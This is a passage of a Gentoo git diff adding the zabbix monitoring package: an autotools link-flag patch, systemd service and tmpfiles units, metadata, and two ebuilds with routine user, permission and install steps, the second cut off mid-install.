++++ b/m4/ldap.m4
+@@ -72,7 +72,8 @@ AC_HELP_STRING([--with-ldap@<:@=DIR@:>@],[Include LDAP support @<:@default=no@:>
+ fi
+
+ LDAP_CPPFLAGS=-I$LDAP_INCDIR
+- LDAP_LDFLAGS="-L$LDAP_LIBDIR -lldap -llber $LDAP_LIBS"
++ LDAP_LDFLAGS="-L$LDAP_LIBDIR $LDAP_LIBS"
++ LDAP_LIBS="-lldap -llber $LDAP_LIBS"
+
+ found_ldap="yes"
+ AC_DEFINE(HAVE_LDAP,1,[Define to 1 if LDAP should be enabled.])
+@@ -92,6 +93,7 @@ AC_HELP_STRING([--with-ldap@<:@=DIR@:>@],[Include LDAP support @<:@default=no@:>
+
+ AC_SUBST(LDAP_CPPFLAGS)
+ AC_SUBST(LDAP_LDFLAGS)
++ AC_SUBST(LDAP_LIBS)
+
+ unset _libldap_with
+ ])dnl
+--
+1.7.3.1
+
+From f6378e6aeb0bec1883a83c70c8cdfd1213f11f97 Mon Sep 17 00:00:00 2001
+From: Vladimir V. Kamarzin <vvk@altlinux.org>
+Date: Fri, 22 Oct 2010 17:49:16 +0600
+Subject: [PATCH 2/2] m4/ax_lib_postgresql.m4: move -pq from POSTGRESQL_LDFLAGS to POSTGRESQL_LIBS
+
+---
+ m4/ax_lib_postgresql.m4 | 4 +++-
+ 1 files changed, 3 insertions(+), 1 deletions(-)
+
+diff --git a/m4/ax_lib_postgresql.m4 b/m4/ax_lib_postgresql.m4
+index fe06f66..934d12c 100644
+--- a/m4/ax_lib_postgresql.m4
++++ b/m4/ax_lib_postgresql.m4
+@@ -84,7 +84,8 @@ AC_DEFUN([AX_LIB_POSTGRESQL],
+ AC_MSG_CHECKING([for PostgreSQL libraries])
+
+ POSTGRESQL_CPPFLAGS="-I`$PG_CONFIG --includedir`"
+- POSTGRESQL_LDFLAGS="-L`$PG_CONFIG --libdir` -lpq"
++ POSTGRESQL_LDFLAGS="-L`$PG_CONFIG --libdir`"
++ POSTGRESQL_LIBS="-lpq"
+
+ POSTGRESQL_VERSION=`$PG_CONFIG --version | sed -e 's#PostgreSQL ##'`
+
+@@ -179,4 +180,5 @@ PQserverVersion(conn);
+ AC_SUBST([POSTGRESQL_VERSION])
+ AC_SUBST([POSTGRESQL_CPPFLAGS])
+ AC_SUBST([POSTGRESQL_LDFLAGS])
++ AC_SUBST([POSTGRESQL_LIBS])
+ ])
+--
+1.7.3.1
+
diff --git a/net-analyzer/zabbix/files/zabbix-agentd.service b/net-analyzer/zabbix/files/zabbix-agentd.service
new file mode 100644
index 000000000000..8485d06f5a3a
--- /dev/null
+++ b/net-analyzer/zabbix/files/zabbix-agentd.service
@@ -0,0 +1,14 @@
+[Unit]
+Description=Zabbix agent daemon
+After=network.target
+
+[Service]
+Type=forking
+User=zabbix
+Group=zabbix
+ExecStart=/usr/sbin/zabbix_agentd -c /etc/zabbix/zabbix_agentd.conf
+PIDFile=/run/zabbix/zabbix_agentd.pid
+
+[Install]
+WantedBy=multi-user.target
+
diff --git a/net-analyzer/zabbix/files/zabbix-agentd.tmpfiles b/net-analyzer/zabbix/files/zabbix-agentd.tmpfiles
new file mode 100644
index 000000000000..56471bb42c0a
--- /dev/null
+++ b/net-analyzer/zabbix/files/zabbix-agentd.tmpfiles
@@ -0,0 +1 @@
+d /run/zabbix 0755 zabbix zabbix -
diff --git a/net-analyzer/zabbix/files/zabbix-proxy.service b/net-analyzer/zabbix/files/zabbix-proxy.service
new file mode 100644
index 000000000000..85ecd79cc889
--- /dev/null
+++ b/net-analyzer/zabbix/files/zabbix-proxy.service
@@ -0,0 +1,14 @@
+[Unit]
+Description=Zabbix proxy
+After=network.target
+
+[Service]
+Type=forking
+User=zabbix
+Group=zabbix
+ExecStart=/usr/sbin/zabbix_proxy -c /etc/zabbix/zabbix_proxy.conf
+PIDFile=/run/zabbix/zabbix_proxy.pid
+
+[Install]
+WantedBy=multi-user.target
+
diff --git a/net-analyzer/zabbix/files/zabbix-proxy.tmpfiles b/net-analyzer/zabbix/files/zabbix-proxy.tmpfiles
new file mode 100644
index 000000000000..56471bb42c0a
--- /dev/null
+++ b/net-analyzer/zabbix/files/zabbix-proxy.tmpfiles
@@ -0,0 +1 @@
+d /run/zabbix 0755 zabbix zabbix -
diff --git a/net-analyzer/zabbix/files/zabbix-server.service b/net-analyzer/zabbix/files/zabbix-server.service
new file mode 100644
index 000000000000..3ea973356eff
--- /dev/null
+++ b/net-analyzer/zabbix/files/zabbix-server.service
@@ -0,0 +1,14 @@
+[Unit]
+Description=Zabbix server
+After=syslog.target network.target postgresql.service
+
+[Service]
+Type=forking
+User=zabbix
+Group=zabbix
+ExecStart=/usr/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
+PIDFile=/run/zabbix/zabbix_server.pid
+
+[Install]
+WantedBy=multi-user.target
+
diff --git a/net-analyzer/zabbix/files/zabbix-server.tmpfiles b/net-analyzer/zabbix/files/zabbix-server.tmpfiles
new file mode 100644
index 000000000000..56471bb42c0a
--- /dev/null
+++ b/net-analyzer/zabbix/files/zabbix-server.tmpfiles
@@ -0,0 +1 @@
+d /run/zabbix 0755 zabbix zabbix -
diff --git a/net-analyzer/zabbix/metadata.xml b/net-analyzer/zabbix/metadata.xml
new file mode 100644
index 000000000000..ab30633da967
--- /dev/null
+++ b/net-analyzer/zabbix/metadata.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+<email>mattm@gentoo.org</email>
+<name>Matthew Marlowe</name>
+</maintainer>
+<longdescription>
+ZABBIX is software for monitoring of your applications, network and servers.
+ZABBIX supports both polling and trapping techniques to collect data from
+monitored hosts. A flexible notification mechanism allows easy and quickly
+configure different types of notifications for pre-defined events.
+</longdescription>
+<use>
+ <flag name='agent'>Enable zabbix agent (for to-be-monitored machines)</flag>
+ <flag name='frontend'>Enable zabbix web frontend</flag>
+ <flag name='ipv6'>Turn on support of IPv6</flag>
+ <flag name='proxy'>Enable proxy support</flag>
+ <flag name='openipmi'>Enable openipmi things</flag>
+ <flag name='server'>Enable zabbix server</flag>
+ <flag name='ssh'>SSH v2 based checks</flag>
+ <flag name='odbc'>Enable Database Monitor and use UnixODBC Library by default</flag>
+ <flag name='static'>Build statically linked binaries</flag>
+ <flag name='java'>Enable Zabbix Java JMX Management Gateway</flag>
+ <flag name='libxml2'>Use libxml2 client library</flag>
+</use>
+</pkgmetadata>
diff --git a/net-analyzer/zabbix/zabbix-2.2.5.ebuild b/net-analyzer/zabbix/zabbix-2.2.5.ebuild
new file mode 100644
index 000000000000..603469cb297c
--- /dev/null
+++ b/net-analyzer/zabbix/zabbix-2.2.5.ebuild
@@ -0,0 +1,365 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+# needed to make webapp-config dep optional
+WEBAPP_OPTIONAL="yes"
+inherit flag-o-matic webapp depend.php autotools java-pkg-opt-2 user systemd toolchain-funcs
+
+DESCRIPTION="ZABBIX is software for monitoring of your applications, network and servers"
+HOMEPAGE="http://www.zabbix.com/"
+MY_P=${P/_/}
+MY_PV=${PV/_/}
+SRC_URI="http://prdownloads.sourceforge.net/zabbix/${MY_P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+WEBAPP_MANUAL_SLOT="yes"
+KEYWORDS="amd64 x86"
+IUSE="agent java curl frontend ipv6 xmpp ldap libxml2 mysql openipmi oracle postgres proxy server ssh snmp sqlite odbc static"
+
+COMMON_DEPEND="snmp? ( net-analyzer/net-snmp )
+ ldap? (
+ net-nds/openldap
+ =dev-libs/cyrus-sasl-2*
+ net-libs/gnutls
+ )
+ mysql? ( >=virtual/mysql-5.0.3 )
+ sqlite? ( >=dev-db/sqlite-3.3.5 )
+ postgres? ( dev-db/postgresql:* )
+ oracle? ( >=dev-db/oracle-instantclient-basic-10.0.0.0 )
+ xmpp? ( dev-libs/iksemel )
+ libxml2? ( dev-libs/libxml2 )
+ curl? ( net-misc/curl )
+ openipmi? ( sys-libs/openipmi )
+ ssh? ( net-libs/libssh2 )
+ java? ( virtual/jdk:* )
+ odbc? ( dev-db/unixODBC )"
+
+RDEPEND="${COMMON_DEPEND}
+ proxy? ( <=net-analyzer/fping-2.9 )
+ server? ( <=net-analyzer/fping-2.9
+ app-admin/webapp-config )
+ java? (
+ >=virtual/jre-1.4
+ dev-java/slf4j-api
+ dev-java/json-simple
+ )
+ frontend? (
+ >=dev-lang/php-5.3.0[bcmath,ctype,sockets,gd,truetype,xml,session,xmlreader,xmlwriter,nls,sysvipc,unicode]
+ || ( dev-lang/php[apache2] dev-lang/php[cgi] dev-lang/php[fpm] )
+ media-libs/gd[png]
+ app-admin/webapp-config )"
+DEPEND="${COMMON_DEPEND}
+ virtual/pkgconfig"
+
+S=${WORKDIR}/${MY_P}
+
+ZABBIXJAVA_BASE="opt/zabbix_java"
+
+java_prepare() {
+ cd "${S}/src/zabbix_java/lib"
+ rm -v *.jar || die
+
+ java-pkg_jar-from slf4j-api
+ java-pkg_jar-from json-simple
+}
+
+src_prepare() {
+ eautoreconf
+}
+
+pkg_setup() {
+ if use server || use proxy ; then
+ local dbnum dbtypes="mysql oracle postgres sqlite" dbtype
+ declare -i dbnum=0
+ for dbtype in ${dbtypes}; do
+ use ${dbtype} && let dbnum++
+ done
+ if [ ${dbnum} -gt 1 ]; then
+ eerror
+ eerror "You can't use more than one database type in Zabbix."
+ eerror "Select exactly one database type out of these: ${dbtypes}"
+ eerror
+ die "Multiple database types selected."
+ elif [ ${dbnum} -lt 1 ]; then
+ eerror
+ eerror "Select exactly one database type out of these: ${dbtypes}"
+ eerror
+ die "No database type selected."
+ fi
+ if use oracle; then
+ if [ -z "${ORACLE_HOME}" ]; then
+ eerror
+ eerror "The environment variable ORACLE_HOME must be set"
+ eerror "and point to the correct location."
+ eerror "It looks like you don't have Oracle installed."
+ eerror
+ die "Environment variable ORACLE_HOME is not set"
+ fi
+ if has_version 'dev-db/oracle-instantclient-basic'; then
+ ewarn
+ ewarn "Please ensure you have a full install of the Oracle client."
+ ewarn "dev-db/oracle-instantclient* is NOT sufficient."
+ ewarn
+ fi
+ fi
+ fi
+
+ if use frontend; then
+ webapp_pkg_setup
+ fi
+
+ enewgroup zabbix
+ enewuser zabbix -1 -1 /var/lib/zabbix/home zabbix
+}
+
+pkg_postinst() {
+ if use server || use proxy ; then
+ elog
+ elog "You may need to configure your database for Zabbix,"
+ elog "if you have not already done so. "
+ elog
+
+ zabbix_homedir=$(egethome zabbix)
+ if [ -n "${zabbix_homedir}" ] && \
+ [ "${zabbix_homedir}" != "/var/lib/zabbix/home" ]; then
+ ewarn
+ ewarn "The user 'zabbix' should have his homedir changed"
+ ewarn "to /var/lib/zabbix/home if you want to use"
+ ewarn "custom alert scripts."
+ ewarn
+ ewarn "A real homedir might be needed for configfiles"
+ ewarn "for custom alert scripts (e.g. ~/.sendxmpprc when"
+ ewarn "using sendxmpp for Jabber alerts)."
+ ewarn
+ ewarn "To change the homedir use:"
+ ewarn " usermod -d /var/lib/zabbix/home zabbix"
+ ewarn
+ fi
+ fi
+
+ if use server; then
+ elog
+ elog "For distributed monitoring you have to run:"
+ elog
+ elog "zabbix_server -n <nodeid>"
+ elog
+ elog "This will convert database data for use with Node ID"
+ elog "and also adds a local node."
+ elog
+ fi
+
+ elog "--"
+ elog
+ elog "You may need to add these lines to /etc/services:"
+ elog
+ elog "zabbix-agent 10050/tcp Zabbix Agent"
+ elog "zabbix-agent 10050/udp Zabbix Agent"
+ elog "zabbix-trapper 10051/tcp Zabbix Trapper"
+ elog "zabbix-trapper 10051/udp Zabbix Trapper"
+ elog
+
+ elog "Feel free to download or contribute gentoo specific zabbix templates"
+ elog "via https://github.com/deploylinux/gentooZabbixTemplates (WIP)."
+
+ # repeat fowners/fperms functionality from src_install()
+ # here to catch wrong permissions on existing files in
+ # the live filesystem (yeah, that sucks).
+ chown -R zabbix:zabbix \
+ "${ROOT}"/etc/zabbix \
+ "${ROOT}"/var/lib/zabbix \
+ "${ROOT}"/var/lib/zabbix/home \
+ "${ROOT}"/var/lib/zabbix/scripts \
+ "${ROOT}"/var/log/zabbix
+ chmod 0750 \
+ "${ROOT}"/etc/zabbix \
+ "${ROOT}"/var/lib/zabbix \
+ "${ROOT}"/var/lib/zabbix/home \
+ "${ROOT}"/var/lib/zabbix/scripts \
+ "${ROOT}"/var/log/zabbix
+
+ chmod 0640 \
+ "${ROOT}"/etc/zabbix/zabbix_*
+
+ if use server || use proxy ; then
+ # check for fping
+ fping_perms=$(stat -c %a /usr/sbin/fping 2>/dev/null)
+ case "${fping_perms}" in
+ 4[157][157][157])
+ ;;
+ *)
+ ewarn
+ ewarn "If you want to use the checks 'icmpping' and 'icmppingsec',"
+ ewarn "you have to make /usr/sbin/fping setuid root and executable"
+ ewarn "by everyone. Run the following command to fix it:"
+ ewarn
+ ewarn " chmod u=rwsx,g=rx,o=rx /usr/sbin/fping"
+ ewarn
+ ewarn "Please be aware that this might impose a security risk,"
+ ewarn "depending on the code quality of fping."
+ ewarn
+ ;;
+ esac
+ fi
+}
+
+src_configure() {
+
+ econf \
+ $(use_enable server) \
+ $(use_enable proxy) \
+ $(use_enable agent) \
+ $(use_enable ipv6) \
+ $(use_enable static) \
+ $(use_enable java) \
+ $(use_with ldap) \
+ $(use_with snmp net-snmp) \
+ $(use_with mysql) \
+ $(use_with postgres postgresql) \
+ $(use_with oracle) \
+ $(use_with sqlite sqlite3) \
+ $(use_with xmpp jabber) \
+ $(use_with curl libcurl) \
+ $(use_with openipmi openipmi) \
+ $(use_with ssh ssh2) \
+ $(use_with libxml2) \
+ $(use_with odbc unixodbc) \
+ || die "econf failed"
+}
+
+src_install() {
+ dodir \
+ /etc/zabbix \
+ /var/lib/zabbix \
+ /var/lib/zabbix/home \
+ /var/lib/zabbix/scripts \
+ /var/lib/zabbix/alertscripts \
+ /var/lib/zabbix/externalscripts \
+ /var/log/zabbix
+
+ keepdir \
+ /etc/zabbix \
+ /var/lib/zabbix \
+ /var/lib/zabbix/home \
+ /var/lib/zabbix/scripts \
+ /var/lib/zabbix/alertscripts \
+ /var/lib/zabbix/externalscripts \
+ /var/log/zabbix
+
+ if use server; then
+ insinto /etc/zabbix
+ doins "${FILESDIR}/2.2"/zabbix_server.conf
+ doinitd "${FILESDIR}/2.2"/init.d/zabbix-server
+ dosbin src/zabbix_server/zabbix_server
+ fowners zabbix:zabbix /etc/zabbix/zabbix_server.conf
+ fperms 0640 /etc/zabbix/zabbix_server.conf
+ dodir /usr/share/zabbix
+ /bin/cp -R "${S}/database/" "${D}"/usr/share/zabbix/
+ systemd_dounit "${FILESDIR}/zabbix-server.service"
+ systemd_newtmpfilesd "${FILESDIR}/zabbix-server.tmpfiles" zabbix-server.conf
+ fi
+
+ if use proxy; then
+ doinitd \
+ "${FILESDIR}/2.2"/init.d/zabbix-proxy
+ dosbin \
+ src/zabbix_proxy/zabbix_proxy
+ insinto /etc/zabbix
+ doins \
+ "${FILESDIR}/2.2"/zabbix_proxy.conf
+ dodir /usr/share/zabbix
+ /bin/cp -R "${S}/database/" "${D}"/usr/share/zabbix/
+ systemd_dounit "${FILESDIR}/zabbix-proxy.service"
+ systemd_newtmpfilesd "${FILESDIR}/zabbix-proxy.tmpfiles" zabbix-proxy.conf
+ fi
+
+ if use agent; then
+ insinto /etc/zabbix
+ doins \
+ "${FILESDIR}/2.2"/zabbix_agent.conf \
+ "${FILESDIR}/2.2"/zabbix_agentd.conf
+ doinitd "${FILESDIR}/2.2"/init.d/zabbix-agentd
+ dosbin \
+ src/zabbix_agent/zabbix_agent \
+ src/zabbix_agent/zabbix_agentd
+ dobin \
+ src/zabbix_sender/zabbix_sender \
+ src/zabbix_get/zabbix_get
+ fowners zabbix:zabbix \
+ /etc/zabbix/zabbix_agent.conf \
+ /etc/zabbix/zabbix_agentd.conf
+ fperms 0640 \
+ /etc/zabbix/zabbix_agent.conf \
+ /etc/zabbix/zabbix_agentd.conf
+ systemd_dounit "${FILESDIR}/zabbix-agentd.service"
+ systemd_newtmpfilesd "${FILESDIR}/zabbix-agentd.tmpfiles" zabbix-agentd.conf
+ fi
+
+ fowners zabbix:zabbix \
+ /etc/zabbix \
+ /var/lib/zabbix \
+ /var/lib/zabbix/home \
+ /var/lib/zabbix/scripts \
+ /var/lib/zabbix/alertscripts \
+ /var/lib/zabbix/externalscripts \
+ /var/log/zabbix
+ fperms 0750 \
+ /etc/zabbix \
+ /var/lib/zabbix \
+ /var/lib/zabbix/home \
+ /var/lib/zabbix/scripts \
+ /var/lib/zabbix/alertscripts \
+ /var/lib/zabbix/externalscripts \
+ /var/log/zabbix
+
+ dodoc README INSTALL NEWS ChangeLog \
+ conf/zabbix_agent.conf \
+ conf/zabbix_agentd.conf \
+ conf/zabbix_proxy.conf \
+ conf/zabbix_agentd/userparameter_examples.conf \
+ conf/zabbix_agentd/userparameter_mysql.conf \
+ conf/zabbix_server.conf
+
+ if use frontend; then
+ webapp_src_preinst
+ cp -R frontends/php/* "${D}/${MY_HTDOCSDIR}"
+ webapp_postinst_txt en "${FILESDIR}/"1.6.6/postinstall-en.txt
+ webapp_configfile \
+ "${MY_HTDOCSDIR}"/include/db.inc.php \
+ "${MY_HTDOCSDIR}"/include/config.inc.php
+ webapp_src_install
+ fi
+
+ if use java; then
+ dodir \
+ /${ZABBIXJAVA_BASE} \
+ /${ZABBIXJAVA_BASE}/bin \
+ /${ZABBIXJAVA_BASE}/lib
+ keepdir /${ZABBIXJAVA_BASE}
+ exeinto /${ZABBIXJAVA_BASE}/bin
+ doexe src/zabbix_java/bin/zabbix-java-gateway-${MY_PV}.jar
+ exeinto /${ZABBIXJAVA_BASE}/lib
+ doexe \
+ src/zabbix_java/lib/logback-classic-0.9.27.jar \
+ src/zabbix_java/lib/logback-console.xml \
+ src/zabbix_java/lib/logback-core-0.9.27.jar \
+ src/zabbix_java/lib/logback.xml \
+ src/zabbix_java/lib/org-json-2010-12-28.jar \
+ src/zabbix_java/lib/slf4j-api-1.6.1.jar
+ exeinto /${ZABBIXJAVA_BASE}/
+ doexe \
+ src/zabbix_java/settings.sh \
+ src/zabbix_java/startup.sh \
+ src/zabbix_java/shutdown.sh
+ fowners -R zabbix:zabbix /${ZABBIXJAVA_BASE}
+ fi
+
+}
+
+src_compile() {
+ if [ -f Makefile ] || [ -f GNUmakefile ] || [ -f makefile ]; then
+ emake AR="$(tc-getAR)" RANLIB="$(tc-getRANLIB)" || die "emake failed"
+ fi
+}
diff --git a/net-analyzer/zabbix/zabbix-2.2.9.ebuild b/net-analyzer/zabbix/zabbix-2.2.9.ebuild
new file mode 100644
index 000000000000..33b121098d01
--- /dev/null
+++ b/net-analyzer/zabbix/zabbix-2.2.9.ebuild
@@ -0,0 +1,363 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+# needed to make webapp-config dep optional
+WEBAPP_OPTIONAL="yes"
+inherit flag-o-matic webapp depend.php autotools java-pkg-opt-2 user systemd toolchain-funcs
+
+DESCRIPTION="ZABBIX is software for monitoring of your applications, network and servers"
+HOMEPAGE="http://www.zabbix.com/"
+MY_P=${P/_/}
+MY_PV=${PV/_/}
+SRC_URI="http://prdownloads.sourceforge.net/zabbix/${MY_P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+WEBAPP_MANUAL_SLOT="yes"
+KEYWORDS="~amd64 ~x86"
+IUSE="agent java curl frontend ipv6 xmpp ldap libxml2 mysql openipmi oracle postgres proxy server ssh snmp sqlite odbc static"
+
+COMMON_DEPEND="snmp? ( net-analyzer/net-snmp )
+ ldap? (
+ net-nds/openldap
+ =dev-libs/cyrus-sasl-2*
+ net-libs/gnutls
+ )
+ mysql? ( >=virtual/mysql-5.0.3 )
+ sqlite? ( >=dev-db/sqlite-3.3.5 )
+ postgres? ( dev-db/postgresql:* )
+ oracle? ( >=dev-db/oracle-instantclient-basic-10.0.0.0 )
+ xmpp? ( dev-libs/iksemel )
+ libxml2? ( dev-libs/libxml2 )
+ curl? ( net-misc/curl )
+ openipmi? ( sys-libs/openipmi )
+ ssh? ( net-libs/libssh2 )
+ java? ( virtual/jdk:* )
+ odbc? ( dev-db/unixODBC )"
+
+RDEPEND="${COMMON_DEPEND}
+ proxy? ( <=net-analyzer/fping-2.9 )
+ server? ( <=net-analyzer/fping-2.9
+ app-admin/webapp-config )
+ java? (
+ >=virtual/jre-1.4
+ dev-java/slf4j-api
+ )
+ frontend? (
+ >=dev-lang/php-5.3.0[bcmath,ctype,sockets,gd,truetype,xml,session,xmlreader,xmlwriter,nls,sysvipc,unicode]
+ || ( dev-lang/php[apache2] dev-lang/php[cgi] dev-lang/php[fpm] )
+ media-libs/gd[png]
+ app-admin/webapp-config )"
+DEPEND="${COMMON_DEPEND}
+ virtual/pkgconfig"
+
+S=${WORKDIR}/${MY_P}
+
+ZABBIXJAVA_BASE="opt/zabbix_java"
+
+java_prepare() {
+ cd "${S}/src/zabbix_java/lib"
+ rm -v *.jar || die
+
+ java-pkg_jar-from slf4j-api
+}
+
+src_prepare() {
+ eautoreconf
+}
+
+pkg_setup() {
+ if use server || use proxy ; then
+ local dbnum dbtypes="mysql oracle postgres sqlite" dbtype
+ declare -i dbnum=0
+ for dbtype in ${dbtypes}; do
+ use ${dbtype} && let dbnum++
+ done
+ if [ ${dbnum} -gt 1 ]; then
+ eerror
+ eerror "You can't use more than one database type in Zabbix."
+ eerror "Select exactly one database type out of these: ${dbtypes}"
+ eerror
+ die "Multiple database types selected."
+ elif [ ${dbnum} -lt 1 ]; then
+ eerror
+ eerror "Select exactly one database type out of these: ${dbtypes}"
+ eerror
+ die "No database type selected."
+ fi
+ if use oracle; then
+ if [ -z "${ORACLE_HOME}" ]; then
+ eerror
+ eerror "The environment variable ORACLE_HOME must be set"
+ eerror "and point to the correct location."
+ eerror "It looks like you don't have Oracle installed."
+ eerror
+ die "Environment variable ORACLE_HOME is not set"
+ fi
+ if has_version 'dev-db/oracle-instantclient-basic'; then
+ ewarn
+ ewarn "Please ensure you have a full install of the Oracle client."
+ ewarn "dev-db/oracle-instantclient* is NOT sufficient."
+ ewarn
+ fi
+ fi
+ fi
+
+ if use frontend; then
+ webapp_pkg_setup
+ fi
+
+ enewgroup zabbix
+ enewuser zabbix -1 -1 /var/lib/zabbix/home zabbix
+}
+
+pkg_postinst() {
+ if use server || use proxy ; then
+ elog
+ elog "You may need to configure your database for Zabbix,"
+ elog "if you have not already done so. "
+ elog
+
+ zabbix_homedir=$(egethome zabbix)
+ if [ -n "${zabbix_homedir}" ] && \
+ [ "${zabbix_homedir}" != "/var/lib/zabbix/home" ]; then
+ ewarn
+ ewarn "The user 'zabbix' should have his homedir changed"
+ ewarn "to /var/lib/zabbix/home if you want to use"
+ ewarn "custom alert scripts."
+ ewarn
+ ewarn "A real homedir might be needed for configfiles"
+ ewarn "for custom alert scripts (e.g. ~/.sendxmpprc when"
+ ewarn "using sendxmpp for Jabber alerts)."
+ ewarn
+ ewarn "To change the homedir use:"
+ ewarn " usermod -d /var/lib/zabbix/home zabbix"
+ ewarn
+ fi
+ fi
+
+ if use server; then
+ elog
+ elog "For distributed monitoring you have to run:"
+ elog
+ elog "zabbix_server -n <nodeid>"
+ elog
+ elog "This will convert database data for use with Node ID"
+ elog "and also adds a local node."
+ elog
+ fi
+
+ elog "--"
+ elog
+ elog "You may need to add these lines to /etc/services:"
+ elog
+ elog "zabbix-agent 10050/tcp Zabbix Agent"
+ elog "zabbix-agent 10050/udp Zabbix Agent"
+ elog "zabbix-trapper 10051/tcp Zabbix Trapper"
+ elog "zabbix-trapper 10051/udp Zabbix Trapper"
+ elog
+
+ elog "Feel free to download or contribute gentoo specific zabbix templates"
+ elog "via https://github.com/deploylinux/gentooZabbixTemplates (WIP)."
+
+ # repeat fowners/fperms functionality from src_install()
+ # here to catch wrong permissions on existing files in
+ # the live filesystem (yeah, that sucks).
+ chown -R zabbix:zabbix \
+ "${ROOT}"/etc/zabbix \
+ "${ROOT}"/var/lib/zabbix \
+ "${ROOT}"/var/lib/zabbix/home \
+ "${ROOT}"/var/lib/zabbix/scripts \
+ "${ROOT}"/var/log/zabbix
+ chmod 0750 \
+ "${ROOT}"/etc/zabbix \
+ "${ROOT}"/var/lib/zabbix \
+ "${ROOT}"/var/lib/zabbix/home \
+ "${ROOT}"/var/lib/zabbix/scripts \
+ "${ROOT}"/var/log/zabbix
+
+ chmod 0640 \
+ "${ROOT}"/etc/zabbix/zabbix_*
+
+ if use server || use proxy ; then
+ # check for fping
+ fping_perms=$(stat -c %a /usr/sbin/fping 2>/dev/null)
+ case "${fping_perms}" in
+ 4[157][157][157])
+ ;;
+ *)
+ ewarn
+ ewarn "If you want to use the checks 'icmpping' and 'icmppingsec',"
+ ewarn "you have to make /usr/sbin/fping setuid root and executable"
+ ewarn "by everyone. Run the following command to fix it:"
+ ewarn
+ ewarn " chmod u=rwsx,g=rx,o=rx /usr/sbin/fping"
+ ewarn
+ ewarn "Please be aware that this might impose a security risk,"
+ ewarn "depending on the code quality of fping."
+ ewarn
+ ;;
+ esac
+ fi
+}
+
+src_configure() {
+
+ econf \
+ $(use_enable server) \
+ $(use_enable proxy) \
+ $(use_enable agent) \
+ $(use_enable ipv6) \
+ $(use_enable static) \
+ $(use_enable java) \
+ $(use_with ldap) \
+ $(use_with snmp net-snmp) \
+ $(use_with mysql) \
+ $(use_with postgres postgresql) \
+ $(use_with oracle) \
+ $(use_with sqlite sqlite3) \
+ $(use_with xmpp jabber) \
+ $(use_with curl libcurl) \
+ $(use_with openipmi openipmi) \
+ $(use_with ssh ssh2) \
+ $(use_with libxml2) \
+ $(use_with odbc unixodbc) \
+ || die "econf failed"
+}
+
+src_install() {
+ dodir \
+ /etc/zabbix \
+ /var/lib/zabbix \
+ /var/lib/zabbix/home \
+ /var/lib/zabbix/scripts \
+ /var/lib/zabbix/alertscripts \
+ /var/lib/zabbix/externalscripts \
+ /var/log/zabbix
+
+ keepdir \
+ /etc/zabbix \
+ /var/lib/zabbix \
+ /var/lib/zabbix/home \
+ /var/lib/zabbix/scripts \
+ /var/lib/zabbix/alertscripts \
+ /var/lib/zabbix/externalscripts \
+ /var/log/zabbix
+
+ if use server; then
+ insinto /etc/zabbix
+ doins "${FILESDIR}/2.2"/zabbix_server.conf
+ doinitd "${FILESDIR}/2.2"/init.d/zabbix-server
+ dosbin src/zabbix_server/zabbix_server
+ fowners zabbix:zabbix /etc/zabbix/zabbix_server.conf
+ fperms 0640 /etc/zabbix/zabbix_server.conf
+ dodir /usr/share/zabbix
+ /bin/cp -R "${S}/database/" "${D}"/usr/share/zabbix/
+ systemd_dounit "${FILESDIR}/zabbix-server.service"
+ systemd_newtmpfilesd "${FILESDIR}/zabbix-server.tmpfiles" zabbix-server.conf
+ fi
+
+ if use proxy; then
+ doinitd \
+ "${FILESDIR}/2.2"/init.d/zabbix-proxy
+ dosbin \
+ src/zabbix_proxy/zabbix_proxy
+ insinto /etc/zabbix
+ doins \
+ "${FILESDIR}/2.2"/zabbix_proxy.conf
+ dodir /usr/share/zabbix
+ /bin/cp -R "${S}/database/" "${D}"/usr/share/zabbix/
+ systemd_dounit "${FILESDIR}/zabbix-proxy.service"
+ systemd_newtmpfilesd "${FILESDIR}/zabbix-proxy.tmpfiles" zabbix-proxy.conf
+ fi
+
+ if use agent; then
+ insinto /etc/zabbix
+ doins \
+ "${FILESDIR}/2.2"/zabbix_agent.conf \
+ "${FILESDIR}/2.2"/zabbix_agentd.conf
+ doinitd "${FILESDIR}/2.2"/init.d/zabbix-agentd
+ dosbin \
+ src/zabbix_agent/zabbix_agent \
+ src/zabbix_agent/zabbix_agentd
+ dobin \
+ src/zabbix_sender/zabbix_sender \
+ src/zabbix_get/zabbix_get
+ fowners zabbix:zabbix \
+ /etc/zabbix/zabbix_agent.conf \
+ /etc/zabbix/zabbix_agentd.conf
+ fperms 0640 \
+ /etc/zabbix/zabbix_agent.conf \
+ /etc/zabbix/zabbix_agentd.conf
+ systemd_dounit "${FILESDIR}/zabbix-agentd.service"
+ systemd_newtmpfilesd "${FILESDIR}/zabbix-agentd.tmpfiles" zabbix-agentd.conf
+ fi
+
+ fowners zabbix:zabbix \
+ /etc/zabbix \
+ /var/lib/zabbix \
+ /var/lib/zabbix/home \
+ /var/lib/zabbix/scripts \
+ /var/lib/zabbix/alertscripts \
+ /var/lib/zabbix/externalscripts \
+ /var/log/zabbix
+ fperms 0750 \
+ /etc/zabbix \
+ /var/lib/zabbix \
+ /var/lib/zabbix/home \
+ /var/lib/zabbix/scripts \
+ /var/lib/zabbix/alertscripts \
+ /var/lib/zabbix/externalscripts \
+ /var/log/zabbix
+
+ dodoc README INSTALL NEWS ChangeLog \
+ conf/zabbix_agent.conf \
+ conf/zabbix_agentd.conf \
+ conf/zabbix_proxy.conf \
+ conf/zabbix_agentd/userparameter_examples.conf \
+ conf/zabbix_agentd/userparameter_mysql.conf \
+ conf/zabbix_server.conf
+
+ if use frontend; then
+ webapp_src_preinst
+ cp -R frontends/php/* "${D}/${MY_HTDOCSDIR}"
+ webapp_postinst_txt en "${FILESDIR}/"1.6.6/postinstall-en.txt
+ webapp_configfile \
+ "${MY_HTDOCSDIR}"/include/db.inc.php \
+ "${MY_HTDOCSDIR}"/include/config.inc.php
+ webapp_src_install
+ fi
+
+ if use java; then
+ dodir \
+ /${ZABBIXJAVA_BASE} \
+ /${ZABBIXJAVA_BASE}/bin \
